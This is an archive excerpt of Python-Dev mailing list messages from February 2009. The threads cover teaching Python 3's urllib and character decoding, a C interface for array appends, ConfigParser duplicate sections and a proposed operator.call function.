> The encoding information *is* available in the response headers, e.g.:
>
> - ---------------------- %< ---------------------------------
> $ wget -S --spider http://knuth.luther.edu/test.html
> - --18:46:24--  http://knuth.luther.edu/test.html
>           => `test.html'
> Resolving knuth.luther.edu... 192.203.196.71
> Connecting to knuth.luther.edu|192.203.196.71|:80... connected.
> HTTP request sent, awaiting response...
>  HTTP/1.1 200 OK
>  Date: Tue, 03 Feb 2009 23:46:28 GMT
>  Server: Apache/2.0.50 (Linux/SUSE)
>  Last-Modified: Mon, 17 Sep 2007 23:35:49 GMT
>  ETag: "2fcd8-1d8-43b2bf40"
>  Accept-Ranges: bytes
>  Content-Length: 472
>  Keep-Alive: timeout=15, max=100
>  Connection: Keep-Alive
>  Content-Type: text/html; charset=ISO-8859-1
> Length: 472 [text/html]
> 200 OK
> - ---------------------- %< ---------------------------------
>

Right, but he was asking about why passing bytes to str() led to it
returning the repr.

> So, the OP's use case *could* be satisfied, assuming that the Py3K
> version of urllib sprouted a means of leveraging that header.  In this
> sense, fetching the resource over HTTP is *better* than loading it from
> a file:  information about the character set is explicit, and highly
> likely to be correct, at least for any resource people expect to render
> cleanly in a browser.

Right. And even if the header lacks the info as Content-Type is not
guaranteed to contain the charset there is also the chance for the
HTML or DOCTYPE declaration to say.

But as Bill pointed out, urllib just fetches data via HTTP, so a
character encoding will not always be valuable. Best solution would be
to provide something in html that can take what urllib.request.urlopen
returns and handle the decoding.

-Brett

From mike.klaas at gmail.com  Wed Feb  4 01:25:54 2009
From: mike.klaas at gmail.com (Mike Klaas)
Date: Tue, 3 Feb 2009 16:25:54 -0800
Subject: [Python-Dev] C API for appending to arrays
In-Reply-To: <49872BAC.8040005@avl.com>
References: <49872BAC.8040005@avl.com>
Message-ID: <D2518356-4C3E-463E-B03A-30545CB7600F@gmail.com>


On 2-Feb-09, at 9:21 AM, Hrvoje Niksic wrote:
>
> It turns out that an even faster method of creating an array is by  
> using the fromstring() method.  fromstring() requires an actual  
> string, not a buffer, so in C++ I created an std::vector<double>  
> with a contiguous array of doubles, passed that array to  
> PyString_FromStringAndSize, and called array.fromstring with the  
> resulting string.  Despite all the unnecessary copying, the result  
> was much faster than either of the previous versions.
>
>
> Would it be possible for the array module to define a C interface  
> for the most frequent operations on array objects, such as appending  
> an item, and getting/setting an item?  Failing that, could we at  
> least make fromstring() accept an arbitrary read buffer, not just an  
> actual string?

Do you need to append, or are you just looking to create/manipulate an  
array with a bunch of c-float values?  I find As{Write/Read}Buffer  
sufficient for most of these tasks.  I've included some example pyrex  
code that populates a new array.array at c speed.  (Note that you can  
get the size of the resulting c array more easily than you are by  
using PyObject_Length).  Of course, this still leaves difficult  
appending to an already-created array.

def calcW0(W1, colTotal):
     """ Calculate a W0 array from a W1 array.

     @param W1: array.array of doubles
     @param colTotal: value to which each column should sum

     @return W0 = [colTotal] * NA - W1
     """
     cdef int NA
     NA = len(W1)
     W0 = array('d', [colTotal]) * NA

     cdef double *cW1, *cW0
     cdef int i
     cdef Py_ssize_t dummy

     PyObject_AsReadBuffer(W1, <void**>&cW1, &dummy)
     PyObject_AsWriteBuffer(W0, <void**>&cW0, &dummy)

     for i from 0 <= i < NA:
         cW0[i] = cW0[i] - cW1[i]

     return W0

regards,
-Mike

From rlight2 at gmail.com  Wed Feb  4 02:31:00 2009
From: rlight2 at gmail.com (Ross Light)
Date: Tue, 3 Feb 2009 17:31:00 -0800
Subject: [Python-Dev] Issue 4285 Review
In-Reply-To: <20090203212016.GA20886@panix.com>
References: <4553f0902031253k88f0104nee9533eac99951b5@mail.gmail.com>
	<20090203212016.GA20886@panix.com>
Message-ID: <4553f0902031731l1ce94deaw56c6856340b88a09@mail.gmail.com>

On Tue, Feb 3, 2009 at 1:20 PM, Aahz <aahz at pythoncraft.com> wrote:
> When sending in a request like this, it's useful to summarize the issue;
> few people know bug reports by number, and at least some people who might
> be interested in looking probably won't bother if they have no clue
> whether it's in their area of expertise.

You're right.  I'm sorry.  I completely forgot.  And thank you, Eric,
for reviewing and adding the subject for me.

Cheers,
Ross Light

From janssen at parc.com  Wed Feb  4 02:41:34 2009
From: janssen at parc.com (Bill Janssen)
Date: Tue, 3 Feb 2009 17:41:34 PST
Subject: [Python-Dev] teaching the new urllib
In-Reply-To: <bbaeab100902031600nd385b6fh519a37bc3cbf1866@mail.gmail.com>
References: <e45086040902031108k2ac504d4sece714d850863fda@mail.gmail.com>
	<bbaeab100902031156o63c25769ke504ac43cc3b7d77@mail.gmail.com>
	<4988D854.5090700@palladion.com>
	<bbaeab100902031600nd385b6fh519a37bc3cbf1866@mail.gmail.com>
Message-ID: <3929.1233711694@parc.com>

Brett Cannon <brett at python.org> wrote:

> On Tue, Feb 3, 2009 at 15:50, Tres Seaver <tseaver at palladion.com> wrote:
> > -----BEGIN PGP SIGNED MESSAGE-----
> > Hash: SHA1
> >
> > Brett Cannon wrote:
> >> On Tue, Feb 3, 2009 at 11:08, Brad Miller <millbr02 at luther.edu> wrote:
> >>> I'm just getting ready to start the semester using my new book (Python
> >>> Programming in Context) and noticed that I somehow missed all the changes to
> >>> urllib in python 3.0.  ARGH to say the least.  I like using urllib in the
> >>> intro class because we can get data from places that are more
> >>> interesting/motivating/relevant to the students.
> >>> Here are some of my observations on trying to do very basic stuff with
> >>> urllib:
> >>> 1.  urllib.urlopen  is now urllib.request.urlopen
> >>
> >> Technically urllib2.urlopen became urllib.request.urlopen. See PEP
> >> 3108 for the details of the reorganization.
> >>
> >>> 2.  The object returned by urlopen is no longer iterable!  no more for line
> >>> in url.
> >>
> >> That is probably a difference between urllib2 and urllib.
> >>
> >>> 3.  read, readline, readlines now return bytes objects or arrays of bytes
> >>> instead of a str and array of str
> >>
> >> Correct.
> >>
> >>> 4.  Taking the naive approach to converting a bytes object to a str does not
> >>> work as you would expect.
> >>>
> >>>>>> import urllib.request
> >>>>>> page = urllib.request.urlopen('http://knuth.luther.edu/test.html')
> >>>>>> page
> >>> <addinfourl at 16419792 whose fp = <socket.SocketIO object at 0xfa8570>>
> >>>>>> line = page.readline()
> >>>>>> line
> >>> b'<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"\n'
> >>>>>> str(line)
> >>> 'b\'<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"\\n\''
> >>> As you can see from the example the 'b' becomes part of the string!  It
> >>> seems like this should be a bug, is it?
> >>>
> >>
> >> No because you are getting back the repr for the bytes object. Str
> >> does not know what the encoding is for the bytes so it has no way of
> >> performing the decoding.
> >
> > The encoding information *is* available in the response headers, e.g.:
> >
> > - ---------------------- %< ---------------------------------
> > $ wget -S --spider http://knuth.luther.edu/test.html
> > - --18:46:24--  http://knuth.luther.edu/test.html
> >           => `test.html'
> > Resolving knuth.luther.edu... 192.203.196.71
> > Connecting to knuth.luther.edu|192.203.196.71|:80... connected.
> > HTTP request sent, awaiting response...
> >  HTTP/1.1 200 OK
> >  Date: Tue, 03 Feb 2009 23:46:28 GMT
> >  Server: Apache/2.0.50 (Linux/SUSE)
> >  Last-Modified: Mon, 17 Sep 2007 23:35:49 GMT
> >  ETag: "2fcd8-1d8-43b2bf40"
> >  Accept-Ranges: bytes
> >  Content-Length: 472
> >  Keep-Alive: timeout=15, max=100
> >  Connection: Keep-Alive
> >  Content-Type: text/html; charset=ISO-8859-1
> > Length: 472 [text/html]
> > 200 OK
> > - ---------------------- %< ---------------------------------
> >
> 
> Right, but he was asking about why passing bytes to str() led to it
> returning the repr.
> 
> > So, the OP's use case *could* be satisfied, assuming that the Py3K
> > version of urllib sprouted a means of leveraging that header.  In this
> > sense, fetching the resource over HTTP is *better* than loading it from
> > a file:  information about the character set is explicit, and highly
> > likely to be correct, at least for any resource people expect to render
> > cleanly in a browser.
> 
> Right. And even if the header lacks the info as Content-Type is not
> guaranteed to contain the charset there is also the chance for the
> HTML or DOCTYPE declaration to say.
> 
> But as Bill pointed out, urllib just fetches data via HTTP, so a
> character encoding will not always be valuable. Best solution would be
> to provide something in html that can take what urllib.request.urlopen
> returns and handle the decoding.

Yes, that sounds like the right solution to me, too.

Bill

From python-3000 at udmvt.ru  Wed Feb  4 10:14:16 2009
From: python-3000 at udmvt.ru (python-3000 at udmvt.ru)
Date: Wed, 4 Feb 2009 13:14:16 +0400
Subject: [Python-Dev] teaching the new urllib
In-Reply-To: <4988D854.5090700@palladion.com>
References: <e45086040902031108k2ac504d4sece714d850863fda@mail.gmail.com>
	<bbaeab100902031156o63c25769ke504ac43cc3b7d77@mail.gmail.com>
	<4988D854.5090700@palladion.com>
Message-ID: <20090204091416.GQ15556@ruber.office.udmvt.ru>

On Tue, Feb 03, 2009 at 06:50:44PM -0500, Tres Seaver wrote:
> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
> 
> 
> The encoding information *is* available in the response headers, e.g.:
> 
> - ---------------------- %< ---------------------------------
> $ wget -S --spider http://knuth.luther.edu/test.html
> - --18:46:24--  http://knuth.luther.edu/test.html
>            => `test.html'
> Resolving knuth.luther.edu... 192.203.196.71
> Connecting to knuth.luther.edu|192.203.196.71|:80... connected.
> HTTP request sent, awaiting response...
>   HTTP/1.1 200 OK
>   Date: Tue, 03 Feb 2009 23:46:28 GMT
>   Server: Apache/2.0.50 (Linux/SUSE)
>   Last-Modified: Mon, 17 Sep 2007 23:35:49 GMT
>   ETag: "2fcd8-1d8-43b2bf40"
>   Accept-Ranges: bytes
>   Content-Length: 472
>   Keep-Alive: timeout=15, max=100
>   Connection: Keep-Alive
>   Content-Type: text/html; charset=ISO-8859-1
> Length: 472 [text/html]
> 200 OK
> - ---------------------- %< ---------------------------------
> 
> So, the OP's use case *could* be satisfied, assuming that the Py3K
> version of urllib sprouted a means of leveraging that header.  In this
> sense, fetching the resource over HTTP is *better* than loading it from
> a file:  information about the character set is explicit, and highly
> likely to be correct, at least for any resource people expect to render
> cleanly in a browser.

First of all, as it was noted, Content-Type may have no charset parameter,
or be omitted at all.
But the most important and the worst is that charset in Content-Type may
have no relation to charset in document. And even worse - charset specified
in document may have no relation to charset used to encode the document. :(

Remember, that headers are supplied by HTTP server and it have to read document
from just a file, so there is no difference, since there is no magic in being a
HTTP server. Ofcourse it will be correct to provide web-server with some hints
about charset of byte-encoded text documents, but web-server will not stop
working without charset specified or with incorrect charset.

This use case is really important for those international segments of Internet,
which have two or more conflicting character sets for their (single) alphabet.
As an example - every Russian Internet user can tell you that a browser, that
have no menu option to select explicitly what encoding to use for current
document, is completely unusable.

-- 
Alexey Shpagin

From hrvoje.niksic at avl.com  Wed Feb  4 12:57:38 2009
From: hrvoje.niksic at avl.com (Hrvoje Niksic)
Date: Wed, 04 Feb 2009 12:57:38 +0100
Subject: [Python-Dev] C API for appending to arrays
In-Reply-To: <14663666.939563.1233707180356.JavaMail.xicrypt@atgrzls001>
References: <49872BAC.8040005@avl.com>
	<14663666.939563.1233707180356.JavaMail.xicrypt@atgrzls001>
Message-ID: <498982B2.2050606@avl.com>

Mike Klaas wrote:
> Do you need to append, or are you just looking to create/manipulate an  
> array with a bunch of c-float values?

Mostly real-life examples I've seen of this were creating an array from 
C values obtained from an external source, such as an on-disk file, or 
another process.  The code example was a (simplified and de-C++-ized) 
snippet of actual code.

> I find As{Write/Read}Buffer sufficient for most of these tasks.

They improve things, as shown in the second example, but they're still 
cumbersome to use for appending/initialization of the array.

> (Note that you can  
> get the size of the resulting c array more easily than you are by  
> using PyObject_Length).

Note that AsWriteBuffer always gives you the buffer size anyway -- you 
can't pass bufsize==NULL.  Since I have to call AsWriteBuffer in each 
iteration (because I don't know when the buffer will resize), calling 
PyObject_Length in addition to that doesn't buy much, if anything.

 > I've included some example pyrex  code that populates a new
 > array.array at c speed.
[...]
>      cdef int NA
>      NA = len(W1)
>      W0 = array('d', [colTotal]) * NA

The thing is, when reading values from a file or a general iterator, you 
typically don't know the number of values in advance.  If I did, I would 
probably use an approach similar to yours.

Thanks for the code -- even if it doesn't help in this case, I 
appreciate it as an instructing example of the advanced usage of Pyrex.

From hrvoje.niksic at avl.com  Wed Feb  4 14:02:17 2009
From: hrvoje.niksic at avl.com (Hrvoje Niksic)
Date: Wed, 04 Feb 2009 14:02:17 +0100
Subject: [Python-Dev] Missing operator.call
Message-ID: <498991D9.3060407@avl.com>

Is there a reason why the operator module doesn't have an operator.call 
function?  It would seem logical to be able to write:

map(operator.call, lst)

which calls each object in lst, just like map(operator.neg, lst) negates 
every object.  Of course, operator.call is equivalent to lambda x: x(), 
but such an equivalence exists for all functions in the operator module.

__call__ should also be provided for symmetry with other operators that 
correspond to special-name methods.

If there is interest in this and no reason why it shouldn't be done, I 
can write up an issue in the tracker and provide a patch.

From andrew-pythondev at puzzling.org  Wed Feb  4 14:28:21 2009
From: andrew-pythondev at puzzling.org (Andrew Bennetts)
Date: Thu, 5 Feb 2009 00:28:21 +1100
Subject: [Python-Dev] Missing operator.call
In-Reply-To: <498991D9.3060407@avl.com>
References: <498991D9.3060407@avl.com>
Message-ID: <20090204132821.GQ9167@steerpike.home.puzzling.org>

Hrvoje Niksic wrote:
> Is there a reason why the operator module doesn't have an operator.call  
> function?

Python 2.6 adds operator.methodcaller.  So you could use
operator.methodcaller('__call__'), but that's not really any better than
lambda x: x().

A patch to add operator.caller(*args, **kwargs) may be a good idea.  Your
example would then be:

    map(operator.caller(), lst)

That reads ok to me.  I think this reads better though:

    [callable() for callable in lst]

<wink>

-Andrew.


From ncoghlan at gmail.com  Wed Feb  4 14:33:45 2009
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Wed, 04 Feb 2009 23:33:45 +1000
Subject: [Python-Dev] Missing operator.call
In-Reply-To: <498991D9.3060407@avl.com>
References: <498991D9.3060407@avl.com>
Message-ID: <49899939.7070104@gmail.com>

Hrvoje Niksic wrote:
> Is there a reason why the operator module doesn't have an operator.call
> function?

My guess is that it was left out because it would have been redundant
given the existence of apply() in 2.x.

That argument no longer holds in 3.x of course, so operator.call may be
a reasonable addition to 3.1 (and then to 2.7 for forward compatibility
reasons).

I'm somewhere between -0 and +0 though (-0 due to the lack of concrete
use cases, +0 because the improved consistency is appealing)

Cheers,
Nick.

-- 
Nick Coghlan   |   ncoghlan at gmail.com   |   Brisbane, Australia
---------------------------------------------------------------

From hrvoje.niksic at avl.com  Wed Feb  4 14:35:58 2009
From: hrvoje.niksic at avl.com (Hrvoje Niksic)
Date: Wed, 04 Feb 2009 14:35:58 +0100
Subject: [Python-Dev] Missing operator.call
In-Reply-To: <25970944.975143.1233754111890.JavaMail.xicrypt@atgrzls001>
References: <498991D9.3060407@avl.com>
	<25970944.975143.1233754111890.JavaMail.xicrypt@atgrzls001>
Message-ID: <498999BE.70703@avl.com>

Andrew Bennetts wrote:
> A patch to add operator.caller(*args, **kwargs) may be a good idea.  Your
> example would then be:
> 
>     map(operator.caller(), lst)

Regarding the name, note that I proposed operator.call (and 
operator.__call__) because it corresponds to the __call__ special 
method, which is analogous to how operator.neg corresponds to __neg__, 
operator.add to __add__, etc.  The term "caller" implies creation of a 
new object that carries additional state, such as method name in 
operator.methodcaller, item in operator.itemgetter, or attr in 
operator.attrgetter.

From hrvoje.niksic at avl.com  Wed Feb  4 14:37:39 2009
From: hrvoje.niksic at avl.com (Hrvoje Niksic)
Date: Wed, 04 Feb 2009 14:37:39 +0100
Subject: [Python-Dev] Missing operator.call
In-Reply-To: <33016066.975455.1233754439063.JavaMail.xicrypt@atgrzls001>
References: <498991D9.3060407@avl.com>
	<33016066.975455.1233754439063.JavaMail.xicrypt@atgrzls001>
Message-ID: <49899A23.20008@avl.com>

Nick Coghlan wrote:
> I'm somewhere between -0 and +0 though (-0 due to the lack of concrete
> use cases, +0 because the improved consistency is appealing)

The operator module is one of the rare cases in python where consistency 
is valued more than concrete use cases.  But, for what it's worth, I 
really wished to use operator.call in my code, expected to find 
operator.call, and was quite surprised to find it missing.

From ygingras at ygingras.net  Wed Feb  4 18:46:39 2009
From: ygingras at ygingras.net (Yannick Gingras)
Date: Wed, 4 Feb 2009 12:46:39 -0500
Subject: [Python-Dev] [patch] Duplicate sections detection in
	ConfigParser
In-Reply-To: <2c51ecee0902030903v19d998e7t96c780e4efa7f939@mail.gmail.com>
References: <200902030134.13646.ygingras@ygingras.net>
	<20090203164425.GA14050@panix.com>
	<2c51ecee0902030903v19d998e7t96c780e4efa7f939@mail.gmail.com>
Message-ID: <200902041246.40051.ygingras@ygingras.net>

On Tuesday 03 February 2009, Raghuram Devarakonda wrote:
> http://bugs.python.org/issue2204 refers to the same issue. Perhaps,
> you can upload your patch there in addition to adding any comments.

I attached the patch to the ticket.  Do you have recommendations on
how to solve the uniformity issue with the builder interface?

-- 
Yannick Gingras
http://ygingras.net
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 197 bytes
Desc: This is a digitally signed message part.
URL: <http://mail.python.org/pipermail/python-dev/attachments/20090204/3eb90ab5/attachment.pgp>

From brett at python.org  Wed Feb  4 19:25:32 2009
From: brett at python.org (Brett Cannon)
Date: Wed, 4 Feb 2009 10:25:32 -0800
Subject: [Python-Dev] Missing operator.call
In-Reply-To: <498999BE.70703@avl.com>
References: <498991D9.3060407@avl.com>
	<25970944.975143.1233754111890.JavaMail.xicrypt@atgrzls001>
	<498999BE.70703@avl.com>
Message-ID: <bbaeab100902041025o7e23891as7f74039a3b8a4db8@mail.gmail.com>

On Wed, Feb 4, 2009 at 05:35, Hrvoje Niksic <hrvoje.niksic at avl.com> wrote:
> Andrew Bennetts wrote:
>>
>> A patch to add operator.caller(*args, **kwargs) may be a good idea.  Your
>> example would then be:
>>
>>    map(operator.caller(), lst)
>
> Regarding the name, note that I proposed operator.call (and
> operator.__call__) because it corresponds to the __call__ special method,
> which is analogous to how operator.neg corresponds to __neg__, operator.add
> to __add__, etc.  The term "caller" implies creation of a new object that
> carries additional state, such as method name in operator.methodcaller, item
> in operator.itemgetter, or attr in operator.attrgetter.

Part of the problem is the term 'call' is an overloaded term. Do you
really mean only objects that define __call__? What about objects that
define __init__ and thus can be called as well? If you mean the former
than you have to make sure the docs are very clear about this; there
is a reason we got rid of callable(). If you mean the latter then
there is little benefit to the function since ``[x() for x in lst]``
gets you the same result as your map call.

-Brett

From steven.bethard at gmail.com  Wed Feb  4 19:43:25 2009
From: steven.bethard at gmail.com (Steven Bethard)
Date: Wed, 4 Feb 2009 10:43:25 -0800
Subject: [Python-Dev] Missing operator.call
In-Reply-To: <bbaeab100902041025o7e23891as7f74039a3b8a4db8@mail.gmail.com>
References: <498991D9.3060407@avl.com>
	<25970944.975143.1233754111890.JavaMail.xicrypt@atgrzls001>
	<498999BE.70703@avl.com>
	<bbaeab100902041025o7e23891as7f74039a3b8a4db8@mail.gmail.com>
Message-ID: <d11dcfba0902041043p37352c2dx9f2f6c2a904bff77@mail.gmail.com>

On Wed, Feb 4, 2009 at 10:25 AM, Brett Cannon <brett at python.org> wrote:
> On Wed, Feb 4, 2009 at 05:35, Hrvoje Niksic <hrvoje.niksic at avl.com> wrote:
>> Andrew Bennetts wrote:
>>>
>>> A patch to add operator.caller(*args, **kwargs) may be a good idea.  Your
>>> example would then be:
>>>
>>>    map(operator.caller(), lst)
>>
>> Regarding the name, note that I proposed operator.call (and
>> operator.__call__) because it corresponds to the __call__ special method,
>> which is analogous to how operator.neg corresponds to __neg__, operator.add
>> to __add__, etc.  The term "caller" implies creation of a new object that
>> carries additional state, such as method name in operator.methodcaller, item
>> in operator.itemgetter, or attr in operator.attrgetter.
>
> Part of the problem is the term 'call' is an overloaded term. Do you
> really mean only objects that define __call__? What about objects that
> define __init__ and thus can be called as well? If you mean the former
> than you have to make sure the docs are very clear about this; there
> is a reason we got rid of callable(). If you mean the latter then
> there is little benefit to the function since ``[x() for x in lst]``
> gets you the same result as your map call.

Not sure I follow you here. It's not the __init__ that allows you to
do ``x()``, it's the fact that the class declares a __call__, right?

>>> class C(object):
...     pass
...
>>> C.__call__()
<__main__.C object at 0x01A3C370>
>>> C()
<__main__.C object at 0x02622EB0>
>>> str.__call__()
''
>>> str()
''

That said, I'm also unconvinced of the utility of operator.call over
the equivalent list comprehension.

Steve
-- 
I'm not *in*-sane. Indeed, I am so far *out* of sane that you appear a
tiny blip on the distant coast of sanity.
        --- Bucky Katt, Get Fuzzy

From brett at python.org  Wed Feb  4 19:50:47 2009
From: brett at python.org (Brett Cannon)
Date: Wed, 4 Feb 2009 10:50:47 -0800
Subject: [Python-Dev] Missing operator.call
In-Reply-To: <d11dcfba0902041043p37352c2dx9f2f6c2a904bff77@mail.gmail.com>
References: <498991D9.3060407@avl.com>
	<25970944.975143.1233754111890.JavaMail.xicrypt@atgrzls001>
	<498999BE.70703@avl.com>
	<bbaeab100902041025o7e23891as7f74039a3b8a4db8@mail.gmail.com>
	<d11dcfba0902041043p37352c2dx9f2f6c2a904bff77@mail.gmail.com>
Message-ID: <bbaeab100902041050n4034440dwb4d6637d36306f2f@mail.gmail.com>

On Wed, Feb 4, 2009 at 10:43, Steven Bethard <steven.bethard at gmail.com> wrote:
> On Wed, Feb 4, 2009 at 10:25 AM, Brett Cannon <brett at python.org> wrote:
>> On Wed, Feb 4, 2009 at 05:35, Hrvoje Niksic <hrvoje.niksic at avl.com> wrote:
>>> Andrew Bennetts wrote:
>>>>
>>>> A patch to add operator.caller(*args, **kwargs) may be a good idea.  Your
>>>> example would then be:
>>>>
>>>>    map(operator.caller(), lst)
>>>
>>> Regarding the name, note that I proposed operator.call (and
>>> operator.__call__) because it corresponds to the __call__ special method,
>>> which is analogous to how operator.neg corresponds to __neg__, operator.add
>>> to __add__, etc.  The term "caller" implies creation of a new object that
>>> carries additional state, such as method name in operator.methodcaller, item
>>> in operator.itemgetter, or attr in operator.attrgetter.
>>
>> Part of the problem is the term 'call' is an overloaded term. Do you
>> really mean only objects that define __call__? What about objects that
>> define __init__ and thus can be called as well? If you mean the former
>> than you have to make sure the docs are very clear about this; there
>> is a reason we got rid of callable(). If you mean the latter then
>> there is little benefit to the function since ``[x() for x in lst]``
>> gets you the same result as your map call.
>
> Not sure I follow you here. It's not the __init__ that allows you to
> do ``x()``, it's the fact that the class declares a __call__, right?
>
>>>> class C(object):
> ...     pass
> ...
>>>> C.__call__()
> <__main__.C object at 0x01A3C370>
>>>> C()
> <__main__.C object at 0x02622EB0>
>>>> str.__call__()
> ''
>>>> str()
> ''
>

I don't think so::

>>> Foo.__call__
<method-wrapper '__call__' of type object at 0x81cee0c>
>>> Foo.__call__ = lambda: None
>>> Foo.__call__
<unbound method Foo.<lambda>>
>>> Foo()
<__main__.Foo object at 0xf7f90e8c>

-Brett

From guido at python.org  Wed Feb  4 20:04:48 2009
From: guido at python.org (Guido van Rossum)
Date: Wed, 4 Feb 2009 11:04:48 -0800
Subject: [Python-Dev] Missing operator.call
In-Reply-To: <bbaeab100902041050n4034440dwb4d6637d36306f2f@mail.gmail.com>
References: <498991D9.3060407@avl.com>
	<25970944.975143.1233754111890.JavaMail.xicrypt@atgrzls001>
	<498999BE.70703@avl.com>
	<bbaeab100902041025o7e23891as7f74039a3b8a4db8@mail.gmail.com>
	<d11dcfba0902041043p37352c2dx9f2f6c2a904bff77@mail.gmail.com>
	<bbaeab100902041050n4034440dwb4d6637d36306f2f@mail.gmail.com>
Message-ID: <ca471dc20902041104x4cd5884dh6dad7f133c81932a@mail.gmail.com>

I believe the omission of call from the operator module is an
oversight, perhaps caused by the existence (when the operator module
was created) of apply. Since apply has been removed from 3.0, we
should add operator.call (with the same signature) back. It should be
a straightforward wrapper around one of the PyObject_Call* functions.
Also note that using __call__ can lead to all sorts of problems when
looking at classes -- all class objects have a __call__ attribute,
because their metaclass (type) has one, but should not be confused
with a __call__ method defined in the class. A quick illustration:

>>> class C(object):
...   def __call__(self): print "instance call"
...
>>> C()
<__main__.C object at 0xf7f9052c>
>>> C()()
instance call
>>> C.__call__()
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: unbound method __call__() must be called with C instance as
first argument (got nothing instead)
>>> C.__call__(C())
instance call
>>> C.__class__.__call__(C)
<__main__.C object at 0xf7f9048c>
>>>

-- 
--Guido van Rossum (home page: http://www.python.org/~guido/)

From martin at v.loewis.de  Wed Feb  4 20:48:03 2009
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Wed, 04 Feb 2009 20:48:03 +0100
Subject: [Python-Dev] Missing operator.call
In-Reply-To: <498991D9.3060407@avl.com>
References: <498991D9.3060407@avl.com>
Message-ID: <4989F0F3.7090901@v.loewis.de>

> If there is interest in this and no reason why it shouldn't be done, I
> can write up an issue in the tracker and provide a patch.

I think there is a tricky design choice to make wrt. argument passing.
IIUC, you don't care much about arguments, so you could probably live
with

def call(o):
    return o()

Somebody proposed that you pass arguments once, and get an
"arguments bound" object, i.e.

def call(*args, **kwds):
    def func(o):
        return o(*args, **kwds)
    return func

Finally, it seems that Guido is advocating an API where arguments get
passed along with the callable, i.e.

def call(o, *args, **kwds):
    return o(*args, **kwds)

which would make call a synonym for apply (and would also provide for
the first definition as a special case). However, with that API, it
isn't so easy anymore to pass the same arguments to all callables
(unless it is no arguments that you want to pass).

Regards,
Martin

From exarkun at divmod.com  Wed Feb  4 20:49:27 2009
From: exarkun at divmod.com (Jean-Paul Calderone)
Date: Wed, 4 Feb 2009 14:49:27 -0500
Subject: [Python-Dev] Missing operator.call
In-Reply-To: <bbaeab100902041050n4034440dwb4d6637d36306f2f@mail.gmail.com>
Message-ID: <20090204194927.12853.1014912104.divmod.quotient.3487@henry.divmod.com>

On Wed, 4 Feb 2009 10:50:47 -0800, Brett Cannon <brett at python.org> wrote:
>On Wed, Feb 4, 2009 at 10:43, Steven Bethard <steven.bethard at gmail.com> wrote:
>> [snip]
>>
>> Not sure I follow you here. It's not the __init__ that allows you to
>> do ``x()``, it's the fact that the class declares a __call__, right?
>>
>>>>> class C(object):
>> ...     pass
>> ...
>>>>> C.__call__()
>> <__main__.C object at 0x01A3C370>
>>>>> C()
>> <__main__.C object at 0x02622EB0>
>>>>> str.__call__()
>> ''
>>>>> str()
>> ''
>>
>
>I don't think so::
>
>>>> Foo.__call__
><method-wrapper '__call__' of type object at 0x81cee0c>
>>>> Foo.__call__ = lambda: None
>>>> Foo.__call__
><unbound method Foo.<lambda>>
>>>> Foo()
><__main__.Foo object at 0xf7f90e8c>

That's because the __call__ special on an instance is ignored, as many
specials on new-style instances are ignored.  If you change the method
where it counts - on type(Foo) in this case - then you see something
different.

    >>> class X(type):
    ...     def __call__(self, *a, **kw):
    ...             print 'X.__call__', a, kw
    ...             return super(X, self).__call__(*a, **kw)
    ...
    >>> class Y(object):
    ...     __metaclass__ = X
    ... 
    >>> Y.__call__
    <bound method X.__call__ of <class '__main__.Y'>>
    >>> Y()
    X.__call__ () {}
    <__main__.Y object at 0xb7d0706c>
    >>> Y.__call__ = lambda: None
    >>> Y.__call__
    <unbound method Y.<lambda>>
    >>> Y()
    X.__call__ () {}
    <__main__.Y object at 0xb7d0706c>
    >>> X.__call__ = lambda: None
    >>> Y()
    Traceback (most recent call last):
      File "<stdin>", line 1, in <module>
    TypeError: <lambda>() takes no arguments (1 given)
    >>>

As far as I know, Steven Bethard's point is correct.

Jean-Paul

From steven.bethard at gmail.com  Wed Feb  4 21:07:18 2009
From: steven.bethard at gmail.com (Steven Bethard)
Date: Wed, 4 Feb 2009 12:07:18 -0800
Subject: [Python-Dev] Missing operator.call
In-Reply-To: <bbaeab100902041050n4034440dwb4d6637d36306f2f@mail.gmail.com>
References: <498991D9.3060407@avl.com>
	<25970944.975143.1233754111890.JavaMail.xicrypt@atgrzls001>
	<498999BE.70703@avl.com>
	<bbaeab100902041025o7e23891as7f74039a3b8a4db8@mail.gmail.com>
	<d11dcfba0902041043p37352c2dx9f2f6c2a904bff77@mail.gmail.com>
	<bbaeab100902041050n4034440dwb4d6637d36306f2f@mail.gmail.com>
Message-ID: <d11dcfba0902041207w73716a5wb03bdc1198d92cf6@mail.gmail.com>

On Wed, Feb 4, 2009 at 10:50 AM, Brett Cannon <brett at python.org> wrote:
> On Wed, Feb 4, 2009 at 10:43, Steven Bethard <steven.bethard at gmail.com> wrote:
>> Not sure I follow you here. It's not the __init__ that allows you to
>> do ``x()``, it's the fact that the class declares a __call__, right?
>>
>>>>> class C(object):
>> ...     pass
>> ...
>>>>> C.__call__()
>> <__main__.C object at 0x01A3C370>
>>>>> C()
>> <__main__.C object at 0x02622EB0>
>>>>> str.__call__()
>> ''
>>>>> str()
>> ''
>>
>
> I don't think so::
>
>>>> Foo.__call__
> <method-wrapper '__call__' of type object at 0x81cee0c>
>>>> Foo.__call__ = lambda: None
>>>> Foo.__call__
> <unbound method Foo.<lambda>>
>>>> Foo()
> <__main__.Foo object at 0xf7f90e8c>

Take a look at PyObject_Call in abstract.c. Basically, __call__ is
always looked up on the type, something like:

>>> class C(object):
...     def __call__(self):
...         return 'instance'
...
>>> def func():
...     return 'func'
...
>>> type(C).__call__(C)
<__main__.C object at 0x0263E250>
>>> type(C()).__call__(C())
'instance'
>>> type(func).__call__(func)
'func'


Steve
-- 
I'm not *in*-sane. Indeed, I am so far *out* of sane that you appear a
tiny blip on the distant coast of sanity.
        --- Bucky Katt, Get Fuzzy

From guido at python.org  Wed Feb  4 21:47:01 2009
From: guido at python.org (Guido van Rossum)
Date: Wed, 4 Feb 2009 12:47:01 -0800
Subject: [Python-Dev] Missing operator.call
In-Reply-To: <4989F0F3.7090901@v.loewis.de>
References: <498991D9.3060407@avl.com> <4989F0F3.7090901@v.loewis.de>
Message-ID: <ca471dc20902041247x78c53c4by8060554b8cc25d48@mail.gmail.com>

